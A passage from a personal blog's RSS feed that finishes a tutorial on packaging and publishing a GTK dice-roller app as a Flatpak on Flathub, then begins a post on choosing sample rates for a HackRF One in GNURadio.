]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;modules&lt;/code&gt; section specifies what code actually needs to be built and how to do that.&#xA;In this case, that&amp;rsquo;s a &amp;ldquo;simple&amp;rdquo; build system, which essentially means &amp;ldquo;just&#xA;run the commands here&amp;rdquo;. Crucially, the &lt;code&gt;PREFIX&lt;/code&gt; variable is set to &lt;code&gt;/app&lt;/code&gt;, which is a&#xA;Flatpak requirement.&lt;/p&gt;&#xA;&lt;p&gt;In the previous section, we set up the Makefile so that setting the &lt;code&gt;PREFIX&lt;/code&gt; variable will&#xA;install the app in a different location. &lt;code&gt;flatpak-builder&lt;/code&gt; will take the contents of&#xA;&lt;code&gt;/app&lt;/code&gt; and package that as the application, so that&amp;rsquo;s where it gets installed.&lt;/p&gt;&#xA;&lt;p&gt;For the development version, we specify the local directory so that changes a developer&#xA;makes are reflected immediately.&lt;/p&gt;&#xA;&lt;p&gt;The last step for this is to add building this to the &lt;code&gt;Makefile&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-make&#34; data-lang=&#34;make&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Build a Flatpak package&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak-development: target/release/gDiceRoller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    mkdir -p flatpak-development&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    flatpak-builder flatpak-development data/codes.nora.gDiceRoller-development.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, to &lt;code&gt;clean&lt;/code&gt; the built package:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-make&#34; data-lang=&#34;make&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Remove supplemental build files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clean :&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -rf flatpak/ flatpak-development/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;development-vs-production&#34;&gt;Development vs. Production&lt;/h2&gt;&#xA;&lt;p&gt;The production version, in &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/fb1a884a811c58791211fa0e51d29c09eb802baf/data/codes.nora.gDiceRoller.json&#34;&gt;&lt;code&gt;data/codes.nora.gDiceRoller.json&lt;/code&gt;&lt;/a&gt;, is totally identical, except that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no &lt;code&gt;desktop-file-name-suffix&lt;/code&gt; key, since this version doesn&amp;rsquo;t need to differentiate itself&lt;/li&gt;&#xA;&lt;li&gt;There is no &lt;code&gt;tags&lt;/code&gt; key, since this is the gold-standard version and doesn&amp;rsquo;t need a tag&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;sources&lt;/code&gt; key is different.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here, &lt;code&gt;sources&lt;/code&gt; specifies the Git repository, along with the version tag and the commit hash:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;sources&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;git&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;https://gitlab.gnome.org/NoraCodes/gDiceRoller.git&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;tag&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;v1.1.3&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;commit&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;57ad7d8cc886c8d9c838e665441e347d71637b1d&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Critically, this &lt;strong&gt;decouples&lt;/strong&gt; this Flatpak specification from the code itself. This&#xA;will be important when uploating it to Flathub to be distributed.&lt;/p&gt;&#xA;&lt;p&gt;In order to test this easily, there&amp;rsquo;s also an appropriate &lt;code&gt;Makefile&lt;/code&gt; target:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-make&#34; data-lang=&#34;make&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Build the Flatpak bundle for release&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak-release: target/release/gDiceRoller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;mkdir -p flatpak&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;flatpak-builder flatpak data/codes.nora.gDiceRoller.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For either the release or the development version, it&amp;rsquo;s possible to test the build as&#xA;documented &lt;a href=&#34;http://docs.flatpak.org/en/latest/first-build.html#test-the-build&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;flathub&#34;&gt;Flathub&lt;/h2&gt;&#xA;&lt;h2 id=&#34;appdata&#34;&gt;AppData&lt;/h2&gt;&#xA;&lt;p&gt;The final purpose of packaging the application into a Flatpak is to distribute it, and&#xA;Flathub is the place to be for distribution. In order to be permitted onto Flatpak,&#xA;an application must provide:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Desktop files&lt;/li&gt;&#xA;&lt;li&gt;Application icons&lt;/li&gt;&#xA;&lt;li&gt;An AppData file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;gDiceRoller has everything but an AppData file, so far. You can find the AppData&#xA;specification from &lt;a href=&#34;https://www.freedesktop.org/software/appstream/docs/&#34;&gt;FreeDesktop&lt;/a&gt;.&#xA;The AppData file for gDiceRoller is at &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/fb1a884a811c58791211fa0e51d29c09eb802baf/data/codes.nora.gDiceRoller.appdata.xml&#34;&gt;&lt;code&gt;gdiceroller/data/codes.nora.gDiceRoller.appdata.xml&lt;/code&gt;&lt;/a&gt;, and the Makefile installs it to &lt;code&gt;$prefix/share/metainfo/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s an XML document, and is kind of long, so I&amp;rsquo;ve excerpted the relevant sections.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;codes.nora.gDiceRoller&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;name&amp;gt;&lt;/span&gt;Dice Roller&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;project_license&amp;gt;&lt;/span&gt;GPL-3.0&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/project_license&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;metadata_license&amp;gt;&lt;/span&gt;CC0-1.0&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/metadata_license&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;developer_name&amp;gt;&lt;/span&gt;Leonora Tindall&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/developer_name&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;Roll dice of many different shapes and sizes in all possible combinations.&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;url&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;homepage&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt;https://gitlab.gnome.org/NoraCodes/gDiceRoller/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;update_contact&amp;gt;&lt;/span&gt;nora@nora.codes&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/update_contact&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This section specifies the crucial information about the app - the unique ID, the display&#xA;name, my name, a short summary, the project&amp;rsquo;s URL, and the relevent licenses.&#xA;&lt;code&gt;metadata_license&lt;/code&gt; is the license for the info &lt;em&gt;within&lt;/em&gt; the AppData file and should almost&#xA;always be CC0 or similar.&#xA;&lt;code&gt;update_contact&lt;/code&gt; should be an e-mail at which someone can be reached who can actually&#xA;change things in the package, if it needs to be updated. This is very important if someone&#xA;other than the main development team is maintaining the package.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;description&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Roll dice of many different shapes and sizes in all possible combinations.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    gDiceRoller provides several kinds of dice, from a d4 to a d100, which can be&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rolled with a simple button press. In addition, users can enter their own&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dice with any number of sides, and perform arbitrary arithemtic on their&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/description&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;categories&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;category&amp;gt;&lt;/span&gt;Game&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/category&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;category&amp;gt;&lt;/span&gt;GTK&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/category&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/categories&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;screenshots&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;screenshot&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;image&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;source&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt;https://gitlab.gnome.org/NoraCodes/gDiceRoller/raw/master/data/screenshot.png&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/image&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/screenshot&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/screenshots&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;releases&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;release&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1.1.3&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;date=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2019-06-28&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;release&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1.1.2&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;date=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2019-06-28&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;release&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1.1.1&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;date=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2019-06-28&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;release&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1.1&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;date=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2019-06-27&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/releases&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This section provides some more metadata about the application. &lt;code&gt;description&lt;/code&gt; can contain&#xA;HTML which most application stores, like Flathub, will render. &lt;code&gt;screenshots&lt;/code&gt; will be shown&#xA;in header, usually below the application&amp;rsquo;s name and above the description.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;categories&lt;/code&gt; is important, because it places the application in view of users in the&#xA;relevant categories in app stores.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;releases&lt;/code&gt; array contains &lt;code&gt;release&lt;/code&gt; elements. Here, there&amp;rsquo;s nothing within them, but&#xA;they can contain sub-&lt;code&gt;descriptions&lt;/code&gt; which will be rendered, usually below the main&#xA;description. Use them to document changes in your application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;launchable&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;desktop-id&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt;codes.nora.gDiceRoller.desktop&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/launchable&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;provides&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;binary&amp;gt;&lt;/span&gt;codes.nora.gDiceRoller&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/binary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/provides&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, a few housekeeping tags. These set the actual desktop file that launches the&#xA;application, and the binary it provides, so that app stores can figure out conflicts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;publishing&#34;&gt;Publishing&lt;/h2&gt;&#xA;&lt;p&gt;With the AppData file finished, we can move on to actually publishing the project to&#xA;Flathub. This is a pretty simple process:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fork the Flathub repository (&lt;a href=&#34;https://github.com/flathub/flathub&#34;&gt;https://github.com/flathub/flathub&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Clone the fork&lt;/li&gt;&#xA;&lt;li&gt;Create a new branch with the name of the app&lt;/li&gt;&#xA;&lt;li&gt;Add and commit the production manifest&lt;/li&gt;&#xA;&lt;li&gt;Make a pull request&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example, &lt;a href=&#34;https://github.com/flathub/flathub/pull/1054&#34;&gt;here&lt;/a&gt;&amp;rsquo;s the PR I made for&#xA;this application.&lt;/p&gt;&#xA;&lt;p&gt;Once that process is finished, the Flathub staff will review your application. Assuming&#xA;they like it, they&amp;rsquo;ll create a new repository and make it available on a page like &lt;a href=&#34;https://flathub.org/apps/details/codes.nora.gDiceRoller&#34;&gt;this&lt;/a&gt;,&#xA;and after a while, it&amp;rsquo;ll show up in desktop app stores.&lt;/p&gt;&#xA;&lt;p&gt;Congratulations!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>HackRF Tripups with GNURadio</title>
      <link>https://nora.codes/post/hackrf-tripups-with-gnuradio/</link>
      <pubDate>Sat, 07 Sep 2019 16:48:29 -0500</pubDate>
      <guid>https://nora.codes/post/hackrf-tripups-with-gnuradio/</guid>
      <description>&lt;p&gt;The HackRF One is an amazing tool, but the documentation about how to use it with GNURadio&#xA;is&amp;hellip; scattered, to say the least. I got mine working today after a few hours of effort,&#xA;and I wanted to share what I did so others could benefit, because it&amp;rsquo;s a little arcane.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, I was using the wrong &lt;strong&gt;output sample rate&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Symptoms of having the wrong output sample rate (too low) are scratchy audio and/or only&#xA;transmitting in &amp;ldquo;chunks&amp;rdquo; (because the device is waiting to get a full buffer before&#xA;transmitting).&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;The HackRF One is an amazing tool, but the documentation about how to use it with GNURadio&#xA;is&amp;hellip; scattered, to say the least. I got mine working today after a few hours of effort,&#xA;and I wanted to share what I did so others could benefit, because it&amp;rsquo;s a little arcane.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, I was using the wrong &lt;strong&gt;output sample rate&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Symptoms of having the wrong output sample rate (too low) are scratchy audio and/or only&#xA;transmitting in &amp;ldquo;chunks&amp;rdquo; (because the device is waiting to get a full buffer before&#xA;transmitting).&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/radio/osmo_sdr_block.webp&#34;&gt;&lt;img src=&#34;./images/radio/osmo_sdr_block.webp&#34; alt=&#34;A screenshot of the Osmocom sink block&amp;rsquo;s options&#34;&gt;&lt;/a&gt;&#xA;The options for the Osmocom sink, used with the HackRF.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;In GNURadio, communicating with the HackRF One is done via the Osmocom sink block.&#xA;In this block, there are two important fields for connection to the radio, in addition&#xA;to gain, frequency, et cetera.&lt;/p&gt;&#xA;&lt;p&gt;First, &lt;strong&gt;sample rate&lt;/strong&gt; must be between 2 and 20 Msps (million samples per second), so the&#xA;&amp;ldquo;Sample Rate (sps)&amp;rdquo; field must be between 2000000 and 20000000. However, it&amp;rsquo;s not a great&#xA;plan to do &lt;em&gt;all&lt;/em&gt; your processing at 2 and 20 Msps, since that will massively load down&#xA;your CPU.&lt;/p&gt;&#xA;&lt;p&gt;My solution is to use three sample rates - audio/input rate (in the case of my simple FM&#xA;transmitter, 16k), &amp;ldquo;internal&amp;rdquo; rate (in my case 128k), to which the default &amp;ldquo;samp_rate&amp;rdquo;&#xA;variable should be set, and finally transmitter rate &amp;ldquo;tx_rate&amp;rdquo;, 2M or more.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;./images/radio/rational_resamp.webp&#34;&gt;&lt;img src=&#34;./images/radio/rational_resamp.webp&#34; alt=&#34;A screenshot of the Rational Resampler block&amp;rsquo;s options&#34;&gt;&lt;/a&gt;&#xA;A Rational Resampler block converting from the internal sampling rate to the transmission&#xA;rate.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I store all of these in variables: &lt;code&gt;tx_rate&lt;/code&gt;, &lt;code&gt;samp_rate&lt;/code&gt; (where most things operate),&#xA;and 